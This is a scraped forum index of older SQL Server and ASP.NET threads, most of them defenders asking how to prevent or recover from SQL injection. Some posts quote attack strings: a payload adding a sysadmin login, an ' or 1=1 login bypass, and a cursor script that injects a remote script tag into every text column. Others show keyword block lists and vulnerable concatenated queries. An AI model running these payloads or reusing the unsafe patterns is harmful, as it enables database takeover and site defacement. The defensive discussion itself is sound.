SQL Injection
I want to inject a "where" criteria parametrically, but I can't get this to work:
CREATE PROCEDURE dbo.CopyTestCases
@Criteria varchar(255)
AS
declare @t table(NID int not null);
set transaction isolation level serializable;
begin tran;
insert into TestIT (Product,CatID,Category,Title)
output inserted.TestID into @t( NID)
select Product,CatID,Category,Title
from TestIT where @Criteria order by TestID;
commit;
GO
I get the message "An expression of non-boolean type specified in a context where a condition is expected". How do I fix this?
View Complete Forum Thread with Replies
Related Forum Messages:
SQL Injection
I manage a VBSript/ASP/IIS/SQL website for a nonprofit, and our website has been hacked by SQL injections. I have changed the code on the website so it can't access the database, cleaned the database, backed up the database, but now need to find a way to tighten up the security so it won't happen again. We're a non-profit- so the server is Windows 2000 Terminal SP4 (yeah, I know, it's old, bear with me). I was using the following code to access the database from the website: dbconn.open "DSN=cptigers;UID=sqlwebaccess;Password=password" (where cptigers is the name of the DSN connection with SQL server authentication). So far, I've removed read permission in IIS on the include file that I use to open the database. I've changed the data source to use Windows NT authentication, and set the SQL login MDBCA/cptigers (this is the IIS login) to have public and db_denydatawriter roles. But I'm not sure how to call this database connection in the code (how do you define the IIS user and password?), and not sure if this is sufficient to protect from future SQL injections. Am I heading the right direction? Thanks, Amanda
View Replies !
SQL Injection
What is the best way to avoid SQL injection?I know not to do stuff in Visual Basic such as... Dim objCmd As New SqlCommand("SELECT * FROM mytable where id ='" & Request.QueryString("id") & '" , objConn)As it's best to use stored proceduresIs there any other problems you guys might have had happen to you or other possibilites for attackers that I should know about? Cheers
View Replies !
SQL Injection Bug
This is my code: CommandText = "SELECT * FROM Products" If textboxStockID.Text.Length > 0 Then CommandText = CommandText & " where [StockID] like '%" & textboxStockID.Text & "%'" End If Is this subject to the sql injection bug... if so, what changes do I need to make? Canning
View Replies !
SQL Injection ???
Hi All, First explain the SQL Injection and how it working and second what is the Solution of SQL Injection..... ? Thanx, Shally
View Replies !
Help On SQL Injection...
Hi All:I can't seem to get this thing work... When I type this in a textbox : '; exec master.dbo.sp_addsrvrolemember 'redice','sysadmin' -- , there's no respond, I mean, I check redice's role, but the System Administrators is not checked.Any idea about this?Thanks in advance.
View Replies !
Sql Injection
Hi there ! Can anyone put some more lights on SQL Injection ? Is there anyway to get rid of it ? If yes then please let me know ? With Thanks ! sqlboy
View Replies !
SQL Injection
Does anyone have any insight regarding SQL injection involving a table name t_jiaozhu? Is this a new hack script or old? I am having a hard time finding any clear details other than ways to stop injection from happening. This I know, what I am trying to figure out is what damaged may have been caused (worse case) and what would be a good plan of attack to figure out what steps suceeded/failed.
View Replies !
SQL Injection
I have a windows 2003 server with SQL Express 2005. The server has about 15 websites and uses ASP Hackers somehow are creating NT Administrator Users on the server and then logging in with Terminal Services. I ran thru SQL injection and tried to stop these attacks by stopping keywords in the SQL, but they still happen Can anyone help, I really cant afford to pay for a security analyst so any advice would be nice. How are these guys creating users? thanks Nick
View Replies !
RS And SQL Injection
A new take on my question from yesterday: Does RS do any checks for SQL Injection attacks or is that entirely up to the developer? i.e. if I have a report that uses dynamic SQL and pass in parameters via the web service are these parameters checked in any way?
View Replies !
SQL Injection
I haven't been able to get a clear-cut answer on this so I decided to ask here. I have developed a web application that is used as a front-end to many SQL reports using report viewer. The authentication on the front end uses a stored procedure to match the login name and password. However, many of my reports do NOT use stored procedures. They are just standard text queries. Is this secure? I don't know much about SQL Injection. Could an attacker see all of the data in the database?
View Replies !
SQL Injection
Hi there. I use MS Enterprise library to get access to my MSSQL database. All actions are performed by stored procedures. Should I check the input parameters for "bad" symbols such as ' or union words or the library do all this for me? Thanks.
View Replies !
We Were Injection Attacked, What Now?
One night over the last week someone successfully found a hole in a line of code in an ASP.NET website and was able to run an injection script against our database. I know, I know, stupid stupid stupid of us, but the breach was in an old app and an old database that we hadn't really taken a look at in a while, hence the one hole they found. This script from what I can tell was able to get a list of the databases on the server and attempted to iterate through all of them. The login they seized only had permissions for two db's so that's all they could access, but I'm still very scared about what they could have done with that login. I don't see any data loss, but they definitely dumped the contents of all tables, some of which contained some sensitive information. That information was encrypted but I'm not sure how much better that makes me feel. So my questions 1) Since the user account they seized was the DBO on the database, what types of things might they have been able to do in the hour or so they were poking around other than run select statements. I know the account had update and delete permissions, although they didn't delete anything. My guess is they didn't want to tip us that they were in so they left the data intact. 2) How should we investigate the health of the DB and the server, to make sure they didn’t insert any scripts that are monitoring or reporting on data. 3) With DBO login access could they have messed with any system tables or settings? 4) Would DBO access allow them to read DB passwords? We’ve changed all of them already but I’m still concerned. OK, so I’ll stop asking questions because obviously any help you can provide would be awesome. Thanks so much.
View Replies !
Datasets And SQL Injection
I have become a big fan of the datasets in Visual Studio 2005. I usually create the SQL for each method in the table adapter; however, I am wondering if there is any 'built-in' functions in the C files for sql injection prevention? I have read that using stored procedures is a good method for prevention. Should I be using SP rather than SQL within my methods in the data table?
View Replies !
SQL Injection Attacks
Hello, Our Security specialist, is running an audit on one of my systems. All pages pass except the login page. It keeps saying I am getting hit with a SQL injection attack. I filter out special characters, both on the Client Side validation and the server side.It is only the one page I have is failing, and I am beginning to wonder if it is producing false positives.Protected Sub btnLogin_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnLogin.Click If Not Page.IsValid Then lblError.Text = "Page Invalid" Exit Sub End If Dim strMesage As String = "" If Not IsInputSanitized(strMesage) Then lblError.Text = strMesage Exit Sub End If If Not ValueIsValid(txtUserName.Value.Trim) Then lblError.Text = Globals.Message_InvalidCharacters Exit Sub End If Public Function IsInputSanitized(ByRef p_strReturnMessage As String) As Boolean Dim loop1 As Integer Dim arr1() As String Dim coll As NameValueCollection Dim regexp As String = "^([^<>" & Chr(34) & "\%;)(&+]*)$" Dim reg As Regex = New Regex(regexp) coll = Request.Form arr1 = coll.AllKeys 'Start at 1 so you will skip over the __VIEWSTATE For loop1 = 0 To UBound(arr1) 'Skip over the ASPNET-generated controls as they will give a false positive. If Left(coll.AllKeys(loop1), 2) <> "__" Then If Not reg.IsMatch(Request(arr1(loop1))) Then p_strReturnMessage = Globals.Message_InvalidCharacters Return False End If End If Next loop1 'If it never hit false retrun true p_strReturnMessage = "Success" Return True End Function If Not ValueIsValid(txtPassword.Value.Trim) Then lblError.Text = Globals.Message_InvalidCharacters Exit Sub End If If Not ValidateUser(txtUserName.Value.Trim, txtPassword.Value.Trim) Then lblError.Text = Globals.Message_LoginInvalid End If End Sub Here are the other validation routines 'This is a check to make sure that the String Values Entered into the Database field 'are indeed valid and without characters that can be used in injection attacks Function ValueIsValid(ByVal p_Input As String) As Boolean Dim strIn As String = p_Input Dim x As Integer Dim A As String Dim l_Return As Boolean = True For x = 1 To Len(strIn) A = Mid(strIn, x, 1) 'Check each character in the string individually If InStr("<>+%|?;()", A) <> 0 Then 'If this is not a "Bad" character l_Return = False 'tack it onto the output string End If Next Return l_Return End Function
View Replies !
Protecting From SQL Injection
Hello, I am building a website in ASP.net 2.0 and I want to protect my self from sql Injection. I am half way there in that I have built my own class that I use to check any input to the Database from a textbox (or user input) for specific characters that cause trouble, such as the “ ‘ � or “;� it then converts them to my own code for example “ ’ � = |^| the same function will convert my “code� back to the original character which works great until I get to Gridviews and Forum View. Does anyone know how I would access the class I created through the gridview and formview so that any info they display gets first translated through my class. Or if that is not possible how I would set the grideview or formview to translate the “codes� for me. If I am totally off track here and there is a much better way to do all this then I am all ears. Please keep in mind I will require the “bad� characters to be saved in some way shape or form. Thanks
View Replies !
SQL Injection - How To Prevent It?
I am building my first ASP.Net app from scratch and while working on the DAL I came across the problem of SQL Injection. I searched on the web and read different articles but I am still unsure about the answer. My question is should I add db.AddInParameter(dbCommand, "AvatarImageID", DbType.Int32, avatarImageID); Add in Parameters to my C# code to avoid SQL Injection. What is the best practice. I am unclear if the stored procedure already helps me avoid SQl Injection or if I need the add in parameters in the C# methods to make it work. I need some help. Thanks, Newbie My C# update method in the DAL (still working on the code) private static bool Update(AvatarImageInfo avatarImage) { //Invoke a SQL command and return true if the update was successful. db.ExecuteNonQuery("syl_AvatarImageUpdate", avatarImage.AvatarImageID, avatarImage.DateAdded, avatarImage.ImageName, avatarImage.ImagePath, avatarImage.IsApproved); return true; } I am using stored procedures to access the data in the database. My update stored proc set ANSI_NULLS ON set QUOTED_IDENTIFIER ON GO ALTER PROCEDURE [dbo].[syl_AvatarImageUpdate] @AvatarImageID int, @DateAdded datetime, @ImageName nvarchar(64), @ImagePath nvarchar(64), @IsApproved bit AS BEGIN -- SET NOCOUNT ON added to prevent extra result sets from -- interfering with SELECT statements. SET NOCOUNT ON; BEGIN TRY UPDATE [syl_AvatarImages] SET [DateAdded] = @DateAdded, [ImageName] = @ImageName, [ImagePath] = @ImagePath, [IsApproved] = @IsApproved WHERE [AvatarImageID] = @AvatarImageID RETURN END TRY BEGIN CATCH --Execute LogError SP EXECUTE [dbo].[syl_LogError]; --Being in a Catch Block indicates failure. --Force RETURN to -1 for consistency (other return values are generated, such as -6). RETURN -1 END CATCH END
View Replies !
SQL Injection Problem
Hi everyone,it is the first time i try to do the sql injection. and i got the problem for the following code. Dim strSQL as String = ""Dim objConnection as New oleDBConnection(getConnectionString("image check list"))strSQL = " insert into tblTest (id, text) value ( 1, @Text)"cmdSelect.Parameters.Add(New SQLParameter("@Text", "abc"))Dim objDataAdapter As New oleDBDataAdapter(strSQL, objConnection)Dim objDS As New DataSet()objDataAdapter = NothingobjDS = Nothingthe exception said i have problem in "cmdSelect".i am using SQlServer as the data store.http://aspnet101.com/aspnet101/tutorials.aspx?id=1 => this is the reference site i read.Anyone can help?thanks a lot!
View Replies !
SQL Injection Protection (C#.NET)
Alright, so I have a basic search function to look through a field in my database which is decided by a query string. <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:DatabaseConnectionString %>" SelectCommand="SELECT * FROM [Employee] WHERE ([Responsibilities] LIKE '%' + @Responsibilities + '%')"> <SelectParameters> <asp:QueryStringParameter Name="Responsibilities" QueryStringField="q" Type="String" /> </SelectParameters> </asp:SqlDataSource> But, I'd really like to fix it using parameterized SQL queries, so that people aren't dropping my tables. >_>I've been lookin' around for some code on how to do this in C#.NET, and most of them seem to look like this: SqlConnection objConnection = new SqlConnection(_ConnectionString);objConnection.Open();SqlCommand objCommand = new SqlCommand( "SELECT * FROM User WHERE Name = @Name AND Password = @Password", objConnection);objCommand.Parameters.Add("@Name", NameTextBox.Text);objCommand.Parameters.Add("@Password", PasswordTextBox.Text);SqlDataReader objReader = objCommand.ExecuteReader(); My problem is that I don't know how really know how to go from my code to this code... I mean, would I throw the latter in my backend code and call what it returns as a string, would I entirely replace my Datasource and do soemthin' with the code? Any help, in the form of tutorials or just straight up tellin' me here, would be greatly appreciated.Thanks. =D
View Replies !
SQL Injection Question
Hi, i have a big question about SQL injections,Im deploying a web site, and im using strore procedures, the store procedures recives the query parameters and then execute the query, that i already defined in them.I pass the store procedure´s name and their parameters via a sql statement adding the parameters to the string chain. The string chain is something like this: string sql = ("EXEC sp_StoreProcedure1 ' " + param1 + " ' + ' " paramN" ' )i define the store procedure´s name and the parameters in the string, and then i send the string to execute.My questions are,is there some kind of potential issue or attack that it can happens if i made the queries in this way?? is my database secure of sql injections just beacuse the use of store procedures???thanks for ur answers! ill appreciate them a lot
View Replies !
SQL Injection - Is This Correct
Hi, I'm building a web application in which I want to prevent SQL injection. I'm using stored procedures, and using queries on my app like this:in my database...create proc createStudy@title varchar(200),@text textasinsert into studies values(@title,@text)goand in my web app...query="createStudy '"+titleBox.Text+"','"+textBox.Text+"'"; //title and text boxes are textboxes, createStudy is a stored procedure in my databaseodmccommand cmd = new odbccommand(query,con);con.Open();cmd.ExecuteNonQuery();But before this I do this code:if (titleBox.Text.Contains("Drop") || titleBox.Text.Contains("Delete")) messageLabel.Text="No permissions to do that";else(...my code)Is this ok to prevent SQL injection?!?
View Replies !
SQL Injection Attack
All,I am trying to test an attack against a web page. The VBScript runs 2queries against the database; the first must succeed before the secondruns. Here is the code:1st-select * from users where (userid=' + @string + ') and password=' +@pwdstring + '2nd-select * from permissions where userid=' + @string + 'When attempting the attack the problem lies in the "(" & ")"surrounding the first userid string in the 1st query. if I attempt toput a ")" in the original @string function to cancel out the first "("it then causes problems for the second string. Also, the @pwdstringgets encrypted before it is sent to the SQL Server, so attempting theattack from that field is useless.For instance:@string = ' or 1=1)--@pwdstring = blank (becomes @pwdstring = 55-12-567-3244-123 due toencryption)select * from users where (userid='' or 1=1)--') andpassword='55-12-567-3244-123' WORKS OKselect * from permissions where userid='' or 1=1)--' DOES NOT WORKIs this an instance where the original developers made a happy codingerror (I asked and preventing injection attacks wasn't intended) or isthere something I can do to circumvent this?Thanks,josh
View Replies !
Sql Injection Attack
hi, Hope everybody is fine.Well,today I want to know the smartest ways to prevent sql injection attacks.It would be really helpful if anybody gives light to it. Thanks!!
View Replies !
SQL Injection Techniques
Hello, I apologize if this isn't the most appropriate place to ask but we have a SQL 2k server behind our website and we recently added a product review portion to our product pages. In the comments field in our db we are getting entries like: 1. Online Pharmacy, [url=http://w 2. iPb95U <a href="http://kmajvv (html tags are replaced in actual db) My question is why the cut off? I just converted the code from escaped quotes and string concat to a stored proc using ADO params. The first entry was submitted with the sproc and the second while the string concat was still being used. So the visitor must be purposely truncating the entry, but I'm curious as to why. Is it just to try and break the code? If anyone knows of better place to post questions like these, maybe a security forum, please let me know. Thanks
View Replies !
Sql Injection Problem..
Hi Friends, we have a website http://www.barneguiden.dk we have constanly been attacked by virus. A malicious script enters into sql server database and stops the site. can any one please suggest us how we can prevent it. I changed some script but that did not help too. I think it is going from our search field. <script>......</script> and inside website name enters into every fields of sql .Please help! Thanks, Umar Rahman
View Replies !
Protect From SQL Injection?
Hi, Just read about SQL injection, and tested it out with sample database, and it does hack my database, the article show to prevent SQL injection by using application code to remove those keywords and change single quote to double quote, is there any method to prevent SQL injection directly using the database system itself, maybe stored procedure or anything? Thanks.
View Replies !
SQL Injection Attacks
I am taking a class where the professor really dislikes using parameterized queries because he considers them to be pointless. Despite the many points that I and a classmate bring up, the only thing he considers valid is using them to prevent SQL injection attacks. To prevent this, he replaces all single quotes with a pair of single quotes. I know this works for SQL server, but will fail in some others (for instance MySQL also allows '). Is there other possibilies such as the ' that need to be protected against?
View Replies !
Threat Due To SQL Injection
I have gone through a terrible situation a week ago. One website was working fine since couple of years and suddenly it was hacked. I checked the entire code in all the pages and it was not at all modified. When I checked the database, I found that javascript was inserted in it. As soon as a recordset was displaying it, javascript redirected that page to the hacker's site.. This was the mechanism was used by hacker. Which database can be more secure in such situations? Nishith Shah
View Replies !
Preventing SQL Injection
I am building my first ASP.Net app from scratch and while working on the DAL I came across the problem of SQL Injection. I searched on the web and read different articles but I am still unsure about the answer. My question is should I add db.AddInParameter(dbCommand, "AvatarImageID", DbType.Int32, avatarImageID); Add in Parameters to my C# code to avoid SQL Injection. What is the best practice. I am unclear if the stored procedure already helps me avoid SQl Injection or if I need the add in parameters in the C# methods to make it work. I need some help. Thanks, Newbie My C# update method in the DAL (still working on the code) private static bool Update(AvatarImageInfo avatarImage) { //Invoke a SQL command and return true if the update was successful. db.ExecuteNonQuery("syl_AvatarImageUpdate", avatarImage.AvatarImageID, avatarImage.DateAdded, avatarImage.ImageName, avatarImage.ImagePath, avatarImage.IsApproved); return true; } I am using stored procedures to access the data in the database. My update stored proc set ANSI_NULLS ON set QUOTED_IDENTIFIER ON GO ALTER PROCEDURE [dbo].[syl_AvatarImageUpdate] @AvatarImageIDint, @DateAddeddatetime, @ImageNamenvarchar(64), @ImagePathnvarchar(64), @IsApprovedbit AS BEGIN -- SET NOCOUNT ON added to prevent extra result sets from -- interfering with SELECT statements. SET NOCOUNT ON; BEGIN TRY UPDATE[syl_AvatarImages] SET [DateAdded]= @DateAdded, [ImageName]= @ImageName, [ImagePath]= @ImagePath, [IsApproved]= @IsApproved WHERE[AvatarImageID] = @AvatarImageID RETURN END TRY BEGIN CATCH --Execute LogError SP EXECUTE [dbo].[syl_LogError]; --Being in a Catch Block indicates failure. --Force RETURN to -1 for consistency (other return values are generated, such as -6). RETURN -1 END CATCH END
View Replies !
Sql Injection Forensics
Hi all, long time lurker, first time poster. One of those fantastic mornings, an hour late, no coffee, walk through the door and the first words I hear are "we've been hacked!" Ugh. Turns out there is one and only one place on the website that isn't properly protected against sql injection attacks and somebody found it (now fixed). It doesn't look bad - a new table has been added, dbo.a_LyHungTraVinh_a with two empty columns [LyHungTraVinh VNC Hacked] and [Good Bye My Love]. I was somehow hoping my first hack would be more clever, so I'm also having to cope with mild disillusionment. But I think I can get over that, what I'm really hoping for your help with is how to proceed with the forensics and clean-up. See, our DBA resigned a couple weeks ago and we're in the cute situation of not having one at this moment - I'm certainly not one. It looks like this is just a random act of harmless vandalism but I'd feel better if we did our full due diligence. Here's what we've done so far, any additional advice or links to resources would be greatly appreciated. 1. Identified and closed the vulnerability 2. Ran AdeptSQL_Diff and compared the production db with an archived version - other than the aforementioned new table, the schema and data is unchanged 3. ... that's it. I suspect using DBCC LOG and/or fn_dblog would be helpful to review the attacker's transactions, but I'm having a devil of a time finding information on how to use those, particularly about what permissions I need to use them. thanks!
View Replies !
Sql Injection Problem.
Hi friends, we have a website http://www.barneguiden.dk we have been constanly been attacked by virus. A malicious script enters into sql server database and stops the site. can any one please suggest us how we can prevent it. I think it is going from our search field.Any help will be appriciated. Thanks, Umar Rahman Suhanasoft
View Replies !
Sql Injection - Are Parameters Enough To Protect You.
Hi all,I have been learning .net and creating a public facing site. I am therefore worried about SQL injection.My question is...Is enclosing customer input inside .net SQLParameters enough to protect you from SQL injection?If not why not?I have seen people saying that SQLParameters alone is not enough but not an explanation why?Can anyone help?If I use code to remove words like drop or characters like '%' I'm limiting what my users can enter, but if I have to I will. taC
View Replies !
Avoiding SQL Injection With Dynamic SQL
I am exclusively using Stored Procedures to access the database, i.e. there are no Ad-Hoc SQL statements anywhere in the C# code. However, one thing I need to be able to do is to allow filtering for data grids on my ASP.NET page. I want to do the filtering in the Stored Procedure using Dynamic SQL to set the WHERE clause. However, one fear of mine is SQL injection from the client. How can I avoid arbitrary SQL injection, yet still allow for a dynamic WHERE clause to be passed into the stored procedure? Jason Pacheco
View Replies !
How To Prevent SQL Injection Attacks
Hi, On my site I have a simple textbox which is a keyword search, people type a keyword and then that looks in 3 colums of an SQL database and returns any matches The code is basic i.e. SELECT * FROM Table WHERE Column1 LIKE %searcg% There is no validation of what goes into the text box and I am worried about SQL injection, what can I do to minimize the risk I have just tried the site and put in two single quotes as the search term, this crashed the script so I know I am vunerable. Can anyone help, perhaps point me in the direction of furthur resources on the subject? Thanks Ben
View Replies !
What Are Sql Injection Attacks And How To Prevent?
this is a question I put in the sql community in microsoft, but havent be answered in full ------------ I am using dynamic sql to do a query with differents 'order' sentences and/or 'where' sentences depending on a variable I pass to the sp ex: create proc ex @orden varchar(100) @criterio varchar(100) as declare consulta varchar(4000) set consulta=N'select pais from paises where '+@criterio' order by '+@orden ------------ I'd like to know it it uses 2 sp in the cache, as I read, the main sp and the query inside the variable of the dynamic sql. if so, as I imagine, then I suppose I have to do the main sp without any 'if' sentence to be the same sp, and so taking it from the cache and not recompile the sp now, I have various 'if' sentences in the main sp (the caller of the dynamic sql) but I plan to remove them and do the 'if' by program -it is in asp.net-, so I suppose it is better because in this way the main sp is took from the cache, supposing this uses the cache different that the dynamic sql in the variable what do u think? does the dynamic sql use 2 caches? if so, u think it is better to try to do the main sp same in all uses (no 'if' statements)? ----- They told me this coding is not good (dynamic sql) because it can give control to the user? I ask, how does it give control to use? what ar sql injection attack and how to prevent them? I use dynamis sql because I have 150 queries to do, and thought dynamic sql is good is it true that dynamic sql have to be recompiled in each execution? I suppose so only if the sql variable is different, right? can u help me?
View Replies !
Preventing SQL Injection Attacks
My site has come under attack from sql injections. I thought I hadthings handled by replacing all single quotes with two single quotes,akaReplace(inputString, "'", "''")Alas, clever hackers have still managed to find a way to drop columnsfrom some of my tables. Can anybody direct me towards a best practicedocument on preventing these attacks?Thank you thank you,Kevin
View Replies !
Sql Injection And Windows Accounts
Can a new windows account who access the system be created by using sql injection.. I don't need to know how to do it? I just need to know if it is possible or not. because this is serious problem for me
View Replies !
Protecting Against Blind Sql Injection...
Helloo all, I would like to gather some thoughts on how to secure my database (running on sql server 2005) from SQL injection , one such as : Code Snippet DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor; Basically this statement finds every text column contained in a database and inserts a cross site script into it. I know this topic has been covered in some depth in articles such as : MSDN article on SQL injection (http://msdn.microsoft.com/en-us/library/ms161953.aspx) and on forums a few times. And the general consensus is to check application code and fix it, which is fine, however we have many legacy systems where it would be too time consuming to fix the problem at the application level. So the alternative is fix this at the database level. A possible solution is to isolate the application access to only the objects it uses, and none of the system objects. This should prevent the statement above from running, because it requests access to the sysobjects and syscolumns views. I could implement this by changing the schema for all user objects from dbo to [myAppSchema] and assigning it to my applications database user. Not particularly elegant but might work, what do you think? Nigel.
View Replies !
Usability Vs. Injection Protection
I have a question that I am sure that others have had to deal with in the past. I am writing business requirements for a web application that stores names, addresses, etc. I have hit a bit of a problem in design with allowing users to enter data they need, like the name O'Brien, and developers saying that allowing the single quote in a field could allow for an injection attack. Developers want to strip out single quotes when they occur in the data, however the users are insistent that names and addresses that have single quotes in them are shown properly. Is there any middle ground so that the system can be built to avoid an injection, but still allow data to be entered as intended.
View Replies !
SQL Injection Prevention Example From MS Press
There is a MS Press book that I read which used the following code to prevent SQL Injection attempts from succeeding within a SProc. However, I have found that this example is too inclusive. For example, this will catch the value "Spanish Moss", when this clearly not an injection attempt. Why is that? DECLARE @Query NVARCHAR(50); SET @Query = N'Spanish Moss'; /* Also return true: */ --SET @Query = N'experienced vb.net coder'; --SET @Query = N'executive suite'; IF UPPER(@Query) LIKE UPPER(N'%0x%') OR UPPER(@Query) LIKE UPPER(N'%;%') OR UPPER(@Query) LIKE UPPER(N'%''%') OR UPPER(@Query) LIKE UPPER(N'%--%') OR UPPER(@Query) LIKE UPPER(N'%/*%*/%') OR UPPER(@Query) LIKE UPPER(N'%EXEC%') OR UPPER(@Query) LIKE UPPER(N'%xp_%') OR UPPER(@Query) LIKE UPPER(N'%sp_%') OR UPPER(@Query) LIKE UPPER(N'%SELECT%') OR UPPER(@Query) LIKE UPPER(N'%INSERT%') OR UPPER(@Query) LIKE UPPER(N'%UPDATE%') OR UPPER(@Query) LIKE UPPER(N'%DELETE%') OR UPPER(@Query) LIKE UPPER(N'%TRUNCATE%') OR UPPER(@Query) LIKE UPPER(N'%CREATE%') OR UPPER(@Query) LIKE UPPER(N'%ALTER%') OR UPPER(@Query) LIKE UPPER(N'%DROP%') BEGIN RAISERROR(N'Possible SQL injection attempt.', 16, 1); RETURN; END ELSE BEGIN PRINT N'All is well!'; RETURN; END If I remove "Spanish" from the query, or the check for "sp_" from the IF statement, this runs fine. So I know the line where this is caught, but it doesn't make sense to me. I can also duplicate this using the work "experienced" which gets caught by the "xp_" check. Can someone offer some assistance? - - - - - Will - - - - - http://www.strohlsitedesign.com http://blog.strohlsitedesign.com/ http://skins.strohlsitedesign.com/
View Replies !
|
TRACKER
